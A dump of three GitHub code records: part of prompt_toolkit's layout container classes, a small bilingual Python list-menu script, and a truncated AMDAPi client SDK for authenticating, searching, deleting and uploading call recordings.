self.children:\n c.reset()\n\n def write_to_screen(self, cli, screen, write_position):\n \"\"\"\n Render the prompt to a `Screen` instance.\n\n :param screen: The :class:`Screen` class into which we write the output.\n \"\"\"\n # Calculate heights.\n dimensions = [c.height(cli, write_position.width) for c in self.children]\n sum_dimensions = sum_layout_dimensions(dimensions)\n\n # If there is not enough space for both.\n # Don't do anything. (TODO: show window to small message.)\n if sum_dimensions.min > write_position.extended_height:\n return\n\n # Find optimal sizes. (Start with minimal size, increase until we cover\n # the whole height.)\n sizes = [d.min for d in dimensions]\n\n i = 0\n while sum(sizes) < min(write_position.extended_height, sum_dimensions.preferred):\n # Increase until we meet at least the 'preferred' size.\n if sizes[i] < dimensions[i].preferred:\n sizes[i] += 1\n i = (i + 1) % len(sizes)\n\n if not any([cli.is_returning, cli.is_exiting, cli.is_aborting]):\n while sum(sizes) < min(write_position.height, sum_dimensions.max):\n # Increase until we use all the available space. (or until \"max\")\n if sizes[i] < dimensions[i].max:\n sizes[i] += 1\n i = (i + 1) % len(sizes)\n\n # Draw child panes.\n ypos = write_position.ypos\n xpos = write_position.xpos\n width = write_position.width\n\n for s, c in zip(sizes, self.children):\n c.write_to_screen(cli, screen, WritePosition(xpos, ypos, width, s))\n ypos += s\n\n def walk(self):\n \"\"\" Walk through children. \"\"\"\n yield self\n for c in self.children:\n for i in c.walk():\n yield i\n\n\nclass VSplit(Layout):\n \"\"\"\n Several layouts, one stacked left/right of the other.\n \"\"\"\n def __init__(self, children):\n assert all(isinstance(c, Layout) for c in children)\n self.children = children\n\n def width(self, cli):\n dimensions = [c.width(cli) for c in self.children]\n return sum_layout_dimensions(dimensions)\n\n def height(self, cli, width):\n sizes = self._divide_widths(cli, width)\n if sizes is None:\n return LayoutDimension()\n else:\n dimensions = [c.height(cli, s) for s, c in zip(sizes, self.children)]\n return max_layout_dimensions(dimensions)\n\n def reset(self):\n for c in self.children:\n c.reset()\n\n def _divide_widths(self, cli, width):\n \"\"\"\n Return the widths for all columns.\n Or None when there is not enough space.\n \"\"\"\n # Calculate widths.\n dimensions = [c.width(cli) for c in self.children]\n sum_dimensions = sum_layout_dimensions(dimensions)\n\n # If there is not enough space for both.\n # Don't do anything. (TODO: show window too small message.)\n if sum_dimensions.min > width:\n return\n\n # TODO: like HSplit, first increase until the \"preferred\" size.\n\n # Find optimal sizes. (Start with minimal size, increase until we cover\n # the whole height.)\n sizes = [d.min for d in dimensions]\n i = 0\n while sum(sizes) < min(width, sum_dimensions.max):\n if sizes[i] < dimensions[i].max:\n sizes[i] += 1\n i = (i + 1) % len(sizes)\n\n return sizes\n\n def write_to_screen(self, cli, screen, write_position):\n \"\"\"\n Render the prompt to a `Screen` instance.\n\n :param screen: The :class:`Screen` class into which we write the output.\n \"\"\"\n sizes = self._divide_widths(cli, write_position.width)\n\n if sizes is None:\n return\n\n # Calculate heights, take the largest possible, but not larger than write_position.extended_height.\n heights = [child.height(cli, width).preferred for width, child in zip(sizes, self.children)]\n height = max(write_position.height, min(write_position.extended_height, max(heights)))\n\n # Draw child panes.\n ypos = write_position.ypos\n xpos = write_position.xpos\n\n for s, c in zip(sizes, self.children):\n c.write_to_screen(cli, screen, WritePosition(xpos, ypos, s, height))\n xpos += s\n\n def walk(self):\n \"\"\" Walk through children. \"\"\"\n yield self\n for c in self.children:\n for i in c.walk():\n yield i\n\n\nclass FloatContainer(Layout):\n \"\"\"\n Container which can contain another container for the background, as well\n as a list of floating containers on top of it.\n\n Example Usage::\n\n FloatContainer(content=Window(...),\n floats=[\n Float(xcursor=True,\n ycursor=True,\n layout=CompletionMenu(...))\n ])\n \"\"\"\n def __init__(self, content, floats):\n assert isinstance(content, Layout)\n assert all(isinstance(f, Float) for f in floats)\n\n self.content = content\n self.floats = floats\n\n def reset(self):\n self.content.reset()\n\n def width(self, cli):\n return self.content.width(cli)\n\n def height(self, cli, width):\n \"\"\"\n Return the preferred height of the float container.\n (We don't care about the height of the floats, they should always fit\n into the dimensions provided by the container.)\n \"\"\"\n return self.content.height(cli, width)\n\n def write_to_screen(self, cli, screen, write_position):\n self.content.write_to_screen(cli, screen, write_position)\n\n # When a menu_position was given, use this instead of the cursor\n # position. (These cursor positions are absolute, translate again\n # relative to the write_position.)\n cursor_position = screen.menu_position or screen.cursor_position\n cursor_position = Point(x=cursor_position.x - write_position.xpos,\n y=cursor_position.y - write_position.ypos)\n\n for fl in self.floats:\n # Left & width given.\n if fl.left is not None and fl.width is not None:\n xpos = fl.left\n width = fl.width\n # Left & right given -> calculate width.\n elif fl.left is not None and fl.right is not None:\n xpos = fl.left\n width = write_position.width - fl.left - fl.right\n # Width & right given -> calculate left.\n elif fl.width is not None and fl.right is not None:\n xpos = write_position.width - fl.right - fl.width\n width = fl.width\n elif fl.xcursor:\n width = fl.width\n if width is None:\n width = fl.content.width(cli).preferred\n width = min(write_position.width, width)\n\n xpos = cursor_position.x\n if xpos + width > write_position.width:\n xpos = max(0, write_position.width - width)\n # Only width given -> center horizontally.\n elif fl.width:\n xpos = int((write_position.width - fl.width) / 2)\n width = fl.width\n # Otherwise, take preferred width from float content.\n else:\n width = fl.content.width(cli).preferred\n\n if fl.left is not None:\n xpos = fl.left\n elif fl.right is not None:\n xpos = max(0, write_position.width - width - fl.right)\n else: # Center horizontally.\n xpos = max(0, int((write_position.width - width) / 2))\n\n # Trim.\n width = min(width, write_position.width - xpos)\n\n # Top & height given.\n if fl.top is not None and fl.height is not None:\n ypos = fl.top\n height = fl.height\n # Top & bottom given -> calculate height.\n elif fl.top is not None and fl.bottom is not None:\n ypos = fl.top\n height = write_position.height - fl.top - fl.bottom\n # Height & bottom given -> calculate top.\n elif fl.height is not None and fl.bottom is not None:\n ypos = write_position.height - fl.height - fl.bottom\n height = fl.height\n # Near cursor\n elif fl.ycursor:\n ypos = cursor_position.y + 1\n\n height = fl.height\n if height is None:\n height = fl.content.height(cli, width).preferred\n\n # Reduce height if not enough space. (We can use the\n # extended_height when the content requires it.)\n if height > write_position.extended_height - ypos:\n if write_position.extended_height - ypos > ypos:\n # When the space below the cursor is more than\n # the space above, just reduce the height.\n height = write_position.extended_height - ypos\n else:\n # Otherwise, fit the float above the cursor.\n height = min(height, cursor_position.y)\n ypos = cursor_position.y - height\n\n # Only height given -> center vertically.\n elif fl.width:\n ypos = int((write_position.height - fl.height) / 2)\n height = fl.height\n # Otherwise, take preferred height from content.\n else:\n height = fl.content.height(cli, width).preferred\n\n if fl.top is not None:\n ypos = fl.top\n elif fl.bottom is not None:\n ypos = max(0, write_position.height - height - fl.bottom)\n else: # Center vertically.\n ypos = max(0, int((write_position.height - height) / 2))\n\n # Trim.\n height = min(height, write_position.height - ypos)\n\n # Write float.\n if xpos >= 0 and ypos >= 0 and height > 0 and width > 0:\n wp = WritePosition(xpos=xpos + write_position.xpos,\n ypos=ypos + write_position.ypos,\n width=width, height=height)\n fl.content.write_to_screen(cli, screen, wp)\n\n def walk(self):\n \"\"\" Walk through children. \"\"\"\n yield self\n\n for i in self.content.walk():\n yield i\n\n for f in self.floats:\n for i in f.content.walk():\n yield i\n\n\nclass Float(object):\n def __init__(self, top=None, right=None, bottom=None, left=None,\n width=None, height=None,\n xcursor=False, ycursor=False, content=None):\n assert isinstance(content, Layout)\n\n self.left = left\n self.right = right\n self.top = top\n self.bottom = bottom\n\n self.width = width\n self.height = height\n\n self.xcursor = xcursor\n self.ycursor = ycursor\n\n self.content = content\n\n def __repr__(self):\n return 'Float(content=%r)' % self.content\n\n\nclass WindowRenderInfo(object):\n \"\"\"\n Render information, for the last render time of this control.\n It stores mapping information between the input buffers (in case of a\n BufferControl) and the actual render position on the output screen.\n\n (Could be used for implementation of the Vi 'H' and 'L' key bindings as\n well as implementing mouse support.)\n\n :param original_screen: The original full screen instance that contains the\n whole input, without clipping. (temp_screen)\n :param vertical_scroll: The vertical scroll of the `Window` instance.\n :param rendered_height: The height that was used for the rendering.\n :param cursor_position: `Point` instance. Where the cursor is currently shown.\n \"\"\"\n def __init__(self, original_screen, vertical_scroll, rendered_height, cursor_position,\n configured_scroll_offset, scroll_offset_top, scroll_offset_bottom):\n self.original_screen = original_screen\n self.vertical_scroll = vertical_scroll\n self.rendered_height = rendered_height\n self.cursor_position = cursor_position\n self.configured_scroll_offset = configured_scroll_offset\n self.scroll_offset_top = scroll_offset_top\n self.scroll_offset_bottom = scroll_offset_bottom\n\n def input_line_to_screen_line(self, lineno):\n \"\"\"\n Return the line number on the screen, for this line of the input.\n Setting the `vertical_scroll` to this number should make sure that\n `lineno` appears at the top.\n \"\"\"\n input_to_screen = dict((v, k) for k, v in\n self.original_screen.screen_line_to_input_line.items())\n try:\n return input_to_screen[lineno]\n except KeyError:\n return None\n\n @property\n def screen_line_to_input_line(self):\n \"\"\"\n Return the dictionary mapping the line numbers of the input buffer to\n the lines of the screen.\n \"\"\"\n return self.original_screen.screen_line_to_input_line\n\n def first_visible_line(self, after_scroll_offset=False):\n \"\"\"\n Return the line number (0 based) of the input document that corresponds\n with the first visible line.\n \"\"\"\n # Note that we can't just do vertical_scroll+height because some input\n # lines could be wrapped and span several lines in the screen.\n screen = self.original_screen\n height = self.rendered_height\n\n start = self.vertical_scroll\n if after_scroll_offset:\n start += self.scroll_offset_top\n\n for y in range(start, self.vertical_scroll + height):\n if y in screen.screen_line_to_input_line:\n return screen.screen_line_to_input_line[y]\n\n return 0\n\n def last_visible_line(self, before_scroll_offset=False):\n \"\"\"\n Like `first_visible_line`, but for the last visible line.\n \"\"\"\n screen = self.original_screen\n height = self.rendered_height\n\n start = self.vertical_scroll + height - 1\n if before_scroll_offset:\n start -= self.scroll_offset_bottom\n\n for y in range(start, self.vertical_scroll, -1):\n if y in screen.screen_line_to_input_line:\n return screen.screen_line_to_input_line[y]\n\n return 0\n\n @property\n def full_height_visible(self):\n \"\"\"\n True when the full height is visible (There is no vertical scroll.\n \"\"\"\n return self.rendered_height >= self.original_screen.current_height\n\n @property\n def top_visible(self):\n \"\"\"\n True when the top of the buffer is visible.\n \"\"\"\n return self.vertical_scroll == 0\n\n @property\n def bottom_visible(self):\n \"\"\"\n True when the bottom of the buffer is visible.\n \"\"\"\n return self.vertical_scroll >= \\\n self.original_screen.current_height - self.rendered_height\n\n @property\n def vertical_scroll_percentage(self):\n \"\"\"\n Vertical scroll as a percentage. (0 means: the top is visible,\n 100 means: the bottom is visible.)\n \"\"\"\n return (100 * self.vertical_scroll //\n (self.original_screen.current_height - self.rendered_height))\n\n\nclass Window(Layout):\n \"\"\"\n Layout that holds a control.\n\n :param content: User interface control.\n :param width: `LayoutDimension` instance.\n :param height: `LayoutDimension` instance.\n :param get_width: callable which takes a `CommandLineInterface` and returns a `LayoutDimension`.\n :param get_height: callable which takes a `CommandLineInterface` and returns a `LayoutDimension`.\n :param filter: `Filter` which decides about the visibility.\n :param dont_extend_width: When `True`, don't take up more width then the\n preferred width reported by the control.\n :param dont_extend_height: When `True`, don't take up more width then the\n preferred height reported by the control.\n :param scroll_offset: Number (integer) representing the preferred amount of lines to be\n always visible before and after the cursor. When this is a very high\n number, the cursor will be centered vertically most of the time.\n :param allow_scroll_beyond_bottom: A `Filter` instance. When True, allow scrolling so far,\n that the top part of the content is not visible anymore, while there\n is still empty space available at the bottom of the window. In the Vi\n editor for instance, this is possible. You will see tildes while the\n top part of the body is hidden.\n \"\"\"\n def __init__(self, content, width=None, height=None, get_width=None,\n get_height=None, filter=Always(), dont_extend_width=False,\n dont_extend_height=False, scroll_offset=0, allow_scroll_beyond_bottom=Never()):\n assert isinstance(content, UIControl)\n assert width is None or isinstance(width, LayoutDimension)\n assert height is None or isinstance(height, LayoutDimension)\n assert get_width is None or callable(get_width)\n assert get_height is None or callable(get_height)\n assert width is None or get_width is None\n assert height is None or get_height is None\n assert isinstance(filter, CLIFilter)\n assert isinstance(scroll_offset, Integer)\n assert isinstance(allow_scroll_beyond_bottom, CLIFilter)\n\n self.content = content\n self.filter = filter\n self.dont_extend_width = dont_extend_width\n self.dont_extend_height = dont_extend_height\n self.scroll_offset = scroll_offset\n self.allow_scroll_beyond_bottom = allow_scroll_beyond_bottom\n self._width = get_width or (lambda cli: width)\n self._height = get_height or (lambda cli: height)\n\n self.reset()\n\n def __repr__(self):\n return 'Window(content=%r)' % self.content\n\n def reset(self):\n self.content.reset()\n\n #: Vertical scrolling position of the main content.\n self.vertical_scroll = 0\n\n #: Keep render information (mappings between buffer input and render\n #: output.)\n self.render_info = None\n\n def _visible(self, cli):\n return self.filter(cli)\n\n def width(self, cli):\n if self._visible(cli):\n width = self._width(cli) or LayoutDimension()\n preferred_width = self.content.preferred_width(cli)\n\n if preferred_width is None:\n return width\n else:\n # When 'dont_extend_width' has been given. Don't use more than\n # the preferred width of the control. (But also don't go below\n # the minimum.)\n if self.dont_extend_width:\n max_width = max(width.min, min(preferred_width, width.max))\n else:\n max_width = width.max\n return LayoutDimension(min=width.min, max=max_width, preferred=preferred_width)\n else:\n return LayoutDimension.exact(0)\n\n def height(self, cli, width):\n if self._visible(cli):\n height = self._height(cli) or LayoutDimension()\n preferred_height = self.content.preferred_height(cli, width)\n\n if preferred_height is None:\n return height\n else:\n # When 'dont_extend_height' has been given. Don't use more than\n # the preferred height of the control. (But also don't go below\n # the minimum.)\n if self.dont_extend_height:\n max_height = max(height.min, min(preferred_height, height.max))\n else:\n max_height = height.max\n return LayoutDimension(min=height.min, max=max_height, preferred=preferred_height)\n else:\n return LayoutDimension.exact(0)\n\n def write_to_screen(self, cli, screen, write_position):\n # XXX: Show window too small messsage...\n\n # Only write when visible.\n if self._visible(cli):\n # Set position.\n temp_screen = self.content.create_screen(cli, write_position.width, write_position.height)\n applied_scroll_offsets = self._scroll(temp_screen, write_position.height, cli)\n self._copy(cli, temp_screen, screen, write_position, applied_scroll_offsets)\n\n def _copy(self, cli, temp_screen, new_screen, write_position, applied_scroll_offsets):\n \"\"\"\n Copy characters from the temp screen that we got from the `UIControl`\n to the real screen.\n \"\"\"\n xpos = write_position.xpos\n ypos = write_position.ypos\n height = write_position.height\n\n columns = temp_screen.width\n\n temp_buffer = temp_screen._buffer\n new_buffer = new_screen._buffer\n temp_screen_height = temp_screen.current_height\n y = 0\n\n # Now copy the region we need to the real screen.\n for y in range(0, height):\n # We keep local row variables. (Don't look up the row in the dict\n # for each iteration of the nested loop.)\n new_row = new_buffer[y + ypos]\n\n if y >= temp_screen_height and y >= write_position.height:\n # Break out of for loop when we pass after the last row of the\n # temp screen. (We use the 'y' position for calculation of new\n # screen's height.)\n break\n else:\n temp_row = temp_buffer[y + self.vertical_scroll]\n for x in range(0, columns):\n new_row[x + xpos] = temp_row[x]\n\n if self.content.has_focus(cli):\n new_screen.cursor_position = Point(y=temp_screen.cursor_position.y + ypos - self.vertical_scroll,\n x=temp_screen.cursor_position.x + xpos)\n\n if not new_screen.menu_position and temp_screen.menu_position:\n new_screen.menu_position = Point(y=temp_screen.menu_position.y + ypos - self.vertical_scroll,\n x=temp_screen.menu_position.x + xpos)\n\n # Update height of the output screen.\n new_screen.current_height = max(new_screen.current_height, ypos + y + 1)\n\n # Remember render info.\n self.render_info = WindowRenderInfo(temp_screen, self.vertical_scroll, height,\n new_screen.cursor_position,\n applied_scroll_offsets[0],\n applied_scroll_offsets[1], applied_scroll_offsets[2])\n\n def _scroll(self, temp_screen, height, cli):\n \"\"\"\n Scroll to make sure the cursor position is visible and that we maintain the\n requested scroll offset.\n Return the applied scroll offsets.\n \"\"\"\n scroll_offset = int(self.scroll_offset) # Resolve int-value. (In case this is reactive.)\n\n # Calculate the scroll offset to apply.\n # This can obviously never be more than have the screen size. Also, when the\n # cursor appears at the top or bottom, we don't apply the offset.\n scroll_offset_top = int(min(scroll_offset, height / 2, temp_screen.cursor_position.y))\n scroll_offset_bottom = int(min(scroll_offset, height / 2,\n temp_screen.current_height - 1 - temp_screen.cursor_position.y))\n\n # Prevent negative scroll offsets.\n if self.vertical_scroll < 0:\n self.vertical_scroll = 0\n\n # Scroll back if we scrolled to much and there's still space to show more of the document.\n if (not self.allow_scroll_beyond_bottom(cli) and\n self.vertical_scroll > temp_screen.current_height - height):\n self.vertical_scroll = max(0, temp_screen.current_height - height)\n\n # Scroll up if cursor is before visible part.\n if self.vertical_scroll > temp_screen.cursor_position.y - scroll_offset_top:\n self.vertical_scroll = max(0, temp_screen.cursor_position.y - scroll_offset_top)\n\n # Scroll down if cursor is after visible part.\n if self.vertical_scroll < (temp_screen.cursor_position.y + 1) - height + scroll_offset_bottom:\n self.vertical_scroll = (temp_screen.cursor_position.y + 1) - height + scroll_offset_bottom\n\n # Calculate the applied scroll offset. This value can be lower than what we had.\n scroll_offset_top = max(0, min(self.vertical_scroll, scroll_offset_top))\n scroll_offset_bottom = max(0, min(temp_screen.current_height - self.vertical_scroll - height, scroll_offset_bottom))\n\n return scroll_offset, scroll_offset_top, scroll_offset_bottom\n\n def walk(self):\n # Only yield self. A window doesn't have children.\n yield self\n","repo_name":"hanwei2008/ENV","sub_path":"VEScrapy/lib/python2.7/site-packages/prompt_toolkit/layout/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":27121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72858389160","text":"from typing import Match\n\n\nnumeros=[]\nprint(\"1-Add a number to the list\")\nprint(\"2-Add a number in a position in the list\")\nprint(\"3-Show the lenght of the list\")\nprint(\"4-Delete the last number in the list\")\nprint(\"5-Delete a number in the list\")\nprint(\"6-Count numbers\")\nprint(\"7-Position of a numbers\")\nprint(\"8-Show the list\")\nprint(\"9-Exit\")\nopcion=0\nwhile opcion!=9:\n\n opcion=int(input(\"Introduzca un numero: \"))\n\n \n if opcion==1:\n numero1=int(input(\"Introduzca un numero en la lista \"))\n\n numeros.append(numero1)\n elif opcion==2:\n numero2=int(input(\"Introduzca un numero en la lista \"))\n posicion=int(input(\"Introduzca la posición donde desee poner el numero en la lista \"))\n\n numeros.insert(posicion,numero2)\n \n elif opcion==3:\n print(len(numeros))\n elif opcion==4:\n numeros.pop()\n elif opcion==5:\n posicion=int(input(\"Introduzca la posición del nunmero que desee eliminar \"))\n for i in range(len(numeros)):\n if posicion<=len(numeros):\n if posicion==len(numeros):\n numeros.pop(posicion)\n else:\n break\n elif opcion==6:\n numero6=int(input(print(\"Introduzca el numero en la lista que desee contar \")))\n contador=0\n for i in range(len(numeros)):\n if numeros[i]==numero6:\n contador+=1\n print(\"El numero de veces que se ha encontrado el numero es: \",contador)\n elif opcion==7:\n numero7=int(input(\"Introduzca un numero en la lista \"))\n contador=0\n for i in range(len(numeros)):\n if numeros[i]==numero7:\n print(\"La posicion del numero es: \",i)\n \n elif opcion==8:\n print(numeros)\n elif opcion==9:\n print(\"Saliendo..\")\n break","repo_name":"Derekas/module3","sub_path":"Menu.py","file_name":"Menu.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39814060985","text":"\"\"\" This file contains classes and functions that contribute to creating a client, to interface with the AMDAPi API\"\"\"\n\nfrom __future__ import annotations\n\nimport functools\nimport json\nimport os\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta\nfrom io import BufferedReader\nfrom typing import Dict, Tuple\n\nimport requests\n\nfrom ..configs import (\n ANALYSIS_LANGUAGES,\n ANALYSIS_ORIGINS,\n CLIENT_ID_ENV_NAME,\n CLIENT_SECRET_ENV_NAME,\n ENDPOINT_CLIENT_AUTH,\n ENDPOINT_GET_CALL_W_UUID,\n ENDPOINT_GET_CALLS,\n ENDPOINT_GET_STORAGE,\n REAUTH_SAFETY,\n)\nfrom ..exceptions.api_errors import (\n CallNotFoundError,\n InternalServerError,\n PageOutOfRangeError,\n TokenExpiredError,\n)\nfrom ..exceptions.auth_errors import AuthorizationError\nfrom ..exceptions.local_errors import CredentialsNotFoundError\nfrom ..utils.audio import get_audio_objects, is_stereo\nfrom ..utils.functions import gen_b64_key\nfrom .call import Call\nfrom .search_result import SearchResult\n\n\n@dataclass(frozen=True)\nclass Token:\n \"\"\"\n Simple Class for Storing Client JWT Token\n \"\"\"\n\n value: str\n last_refresh: datetime\n expiration: datetime\n\n\n# Refresh Token Decorator\ndef _refresh_token(func):\n functools.wraps(func)\n\n def __refresh_token(self: Client, *args, **kwargs):\n if datetime.now() >= self.get_token_expiry() - timedelta(seconds=REAUTH_SAFETY):\n self.authenticate()\n\n try:\n ret = func(self, *args, **kwargs)\n except TokenExpiredError:\n self.authenticate()\n ret = func(self, *args, **kwargs)\n return ret\n\n return __refresh_token\n\n\nclass Client:\n def __init__(self, amdapi_id: str = None, amdapi_secret: str = None):\n\n # Check Arguments, if not passed get Local Environment Arguments\n if amdapi_id is None or amdapi_secret is None:\n try:\n amdapi_id = os.environ[CLIENT_ID_ENV_NAME]\n amdapi_secret = os.environ[CLIENT_SECRET_ENV_NAME]\n except KeyError:\n raise CredentialsNotFoundError() from KeyError\n\n self.__client_id = amdapi_id\n # Generating Bearer Key Based on Credentials\n self.__b64_key = gen_b64_key(amdapi_id, amdapi_secret)\n\n # Generating Initial Token For Accessing AMDAPI API\n self.__token: Token\n self.authenticate()\n\n def authenticate(self):\n \"\"\"This method is used authenticate the client's private token.\n No return\n\n Raises:\n AuthorizationError: Errors will include bad responses from the Authorization Endpoint\n \"\"\"\n params = {\"grant_type\": \"client_credentials\"}\n headers = {\n \"Authorization\": f\"Basic {self.__b64_key}\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n }\n\n response = requests.post(\n url=ENDPOINT_CLIENT_AUTH, params=params, headers=headers\n )\n\n # Bad Response Raise AuthorizationError\n if response.status_code != 200:\n raise AuthorizationError(response.status_code, response.reason)\n\n # Good Response\n response_json = response.json()\n value = f\"{response_json['token_type']} {response_json['access_token']}\"\n last_refresh = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n expiration = datetime.now() + timedelta(\n seconds=int(response_json[\"expires_in\"])\n )\n\n self.__token = Token(value, last_refresh, expiration)\n\n def get_token_expiry(self) -> datetime:\n \"\"\"Simple Getter Function for Token Expiration.\n\n Returns:\n datetime: The expiration of the token.\n \"\"\"\n return self.__token.expiration\n\n @_refresh_token\n def get_call(self, uuid: str) -> Call:\n \"\"\"Retrieves a call via UUID from the AMDAPi Backend.\n\n Args:\n uuid (str): Unique Identifier generated by the AMDAPI Backend assigned to a call.\n\n Raises:\n CallNotFoundError: UUID provided does not match any calls.\n Exception: Any other errors raised by the backend, including 500's.\n\n Returns:\n Call: A call object containing information retrieved from AMDAPi.\n \"\"\"\n # Initialise API Request Structure\n url = ENDPOINT_GET_CALL_W_UUID.format(uuid=uuid)\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n # Send Synchronous Request\n response = requests.get(url, headers=headers)\n if response.status_code == 401: # Token Expired\n raise TokenExpiredError()\n elif response.status_code == 404: # Call Not Found\n raise CallNotFoundError()\n elif response.status_code != 200: # Other Errors (e.g. Internal Errors)\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return Call.parse_call(response)\n\n @_refresh_token\n def search_calls(\n self,\n page_number: int = None,\n agent_id: int = None,\n client_id: int = None,\n start_date: str | datetime = None,\n end_date: str | datetime = None,\n ) -> SearchResult:\n \"\"\"Allows the client to search for calls whilst supplying search filters.\n\n Args:\n page_number (int, optional): Pagination Number if search results in > 350 calls. Defaults to None.\n agent_id (int, optional): Agent ID used internally (Supplied when call is initially analyzed). Defaults to None.\n client_id (int, optional): Client ID used internally (Supplied when call is initially analyzed). Defaults to None.\n start_date (str | datetime, optional): Date to start searching for calls. Defaults to None.\n end_date (str | datetime, optional): Date to stop searching for calls. Defaults to None.\n\n Raises:\n PageOutOfRangeError: If page number supplied exceeds the number of search results.\n InternalServerError: Error raised when the search filters provided do not match the required format.\n Exception: Will contain any other errors that may be raised, due to server errors etc.\n\n Returns:\n SearchResult: Object containing the search results, as well as the search params used that resulted in the search results.\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n # Converts DateTime type to Correct Formatted String\n if isinstance(start_date, datetime):\n start_date = start_date.strftime(\"%d/%m/%Y\")\n if isinstance(end_date, datetime):\n end_date = end_date.strftime(\"%d/%m/%Y\")\n\n params = {\n \"page_number\": int(page_number) if page_number else None,\n \"agent_id\": int(agent_id) if agent_id else None,\n \"client_id\": int(client_id) if client_id else None,\n \"start_date\": str(start_date) if start_date else None,\n \"end_date\": str(end_date) if end_date else None,\n }\n\n response = requests.get(url=ENDPOINT_GET_CALLS, headers=headers, params=params)\n\n if response.status_code == 401: # Token Expired\n raise TokenExpiredError()\n elif (\n response.status_code == 500\n and response.json().get(\"success\", None) == \"false\"\n ): # Page out of Bounds Error\n raise PageOutOfRangeError()\n elif response.status_code == 500: # Page out of Bounds Error\n raise InternalServerError()\n elif response.status_code != 200: # Other Errors (e.g. Internal Errors)\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return SearchResult.parse_search_results(response, params)\n\n @_refresh_token\n def delete_call(self, uuid: str) -> str:\n \"\"\"WARNING: This method is destructive and irreversible.\n Function used to delete a call from the AMDAPi Servers.\n\n Args:\n uuid (str): Unique Identifier generated by the AMDAPI Backend assigned to a call.\n\n Raises:\n CallNotFoundError: UUID provided does not match any calls.\n Exception: Any other errors raised by the backend, including 500's.\n\n Returns:\n str: Contains a message that will be displayed when the call has been successful.\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n response = requests.delete(\n url=ENDPOINT_GET_CALL_W_UUID.format(uuid=uuid), headers=headers\n )\n\n # Check for valid response to parse into Call Object\n if response.status_code == 404:\n raise CallNotFoundError()\n elif response.status_code == 401:\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return response.json()[\"data\"].capitalize()\n\n def analyze_call(\n self,\n audio_buffer: BufferedReader,\n filename: str,\n call_id: str,\n client_id: int,\n agent_id: int,\n customer_id: int,\n origin=\"\",\n language=\"\",\n summary: bool = False,\n agent_channel: int | None = None,\n ) -> Call:\n \"\"\"This function allows you to send an audio file (.wav) to AMDAPi for analysis.\n\n Args:\n audio (BufferedReader): Audio file for analysis.\n filename (str): filename of the audio file, from your database.\n call_id (str): Identifying Call ID number, from your database.\n client_id (int): Identifying Client ID number, from your database (NOT YOUR AMDAPI Client_ID).\n agent_id (int): Identifying Agent ID number, from your database.\n customer_id (int): Identifying Customer ID number, from your database.\n origin (str): [Inbound/Outbound]. Defaults to \"\".\n language (str): [en/en-in/fr]. Defaults to \"\".\n summary (bool): Whether or not you would like a summary of the call to also be included in the analysis. Defaults to False.\n agent_channel (int): Index of the channel that the agent is on (Required for stereo audio only).\n\n Raises:\n ValueError: Raised when invalid options are passed to 'origin' and 'language'.\n Exception: Handles any exceptions raised when attempting to upload the file to AMDAPi storage location.\n\n Returns:\n Call: Returns a Call Object that will have contain all the params included as well as the newly generated UUID.\n \"\"\"\n\n origin = origin.strip().title()\n if origin not in ANALYSIS_ORIGINS:\n raise ValueError(f\"Invalid option for origin. Options: {ANALYSIS_ORIGINS}\")\n\n language = language.strip().lower()\n if language not in ANALYSIS_LANGUAGES:\n raise ValueError(\n f\"Invalid option for language. Options: {ANALYSIS_LANGUAGES}\"\n )\n\n call_info = {\n \"filename\": str(filename),\n \"call_id\": str(call_id),\n \"client_id\": int(client_id),\n \"agent_id\": int(agent_id),\n \"customer_id\": str(customer_id),\n \"origin\": str(origin),\n \"language\": str(language),\n \"summary\": bool(summary),\n }\n\n audio_bytes, audio_object = get_audio_objects(audio_buffer)\n\n if agent_channel is not None: # File will be processed as Stereo\n if is_stereo(audio_object):\n if isinstance(agent_channel, int) and (agent_channel in [0, 1]):\n call_info[\"agent_channel\"] = int(agent_channel)\n else:\n raise ValueError(\n f\"agent_channel current_value:{agent_channel}. Allowed Values: [0,1]\"\n )\n else:\n print(f\"{filename} is NOT a stereo file. agent_channel ignored!\")\n\n # Retrieve S3 URL and Call_UUID\n upload_location, call_info[\"call_uuid\"] = self.__get_s3_url(call_info)\n\n # Try to Upload\n try:\n self.__upload_to_s3(audio_bytes, upload_location)\n except Exception as exc:\n self.delete_call(call_info[\"call_uuid\"])\n raise Exception from exc\n\n return Call.parse_call(call_info)\n\n @_refresh_token\n def __get_s3_url(self, call_info: Dict[str, str]) -> Tuple[str, str]:\n \"\"\"Internal Function for retrieving S3 Url for file upload.\n\n Args:\n call_info (Dict[str, str]): Call info passed in for creating table entries for\n\n Raises:\n TokenExpiredError: Will trigger Reauthorization\n Exception: Other Exceptions caught.\n\n Returns:\n Tuple[str, str]: [UploadURL, CallUID]\n \"\"\"\n\n # Initializing Headers retrieving Signed Bucket URL\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\",\n \"Authorization\": self.__token.value,\n }\n\n response = requests.post(\n url=ENDPOINT_GET_STORAGE,\n headers=headers,\n data=json.dumps(call_info),\n )\n\n if response.status_code == 401:\n raise TokenExpiredError()\n elif response.status_code != 200:\n raise Exception(f\"{response.status_code}: {response.reason}\")\n else:\n return response.json()[\"data\"][\"url\"], response.json()[\"data\"][\"call_uuid\"]\n\n def __upload_to_s3(self, audio_bytes: bytes, storage_url: str) -> None:\n \"\"\"Internal function for uploading audio file to backend.\n\n Args:\n audio_bytes (bytes): Binary representation of file for upload.\n storage_url (str): Presigned URL for file upload.\n\n Raises:\n Exception: Any exceptions that may be raised during upload.\n \"\"\"\n headers_audio = {\"Content-Type\": \"audio/wav\", \"x-amz-acl\": \"public-read\"}\n response = requests.put(\n 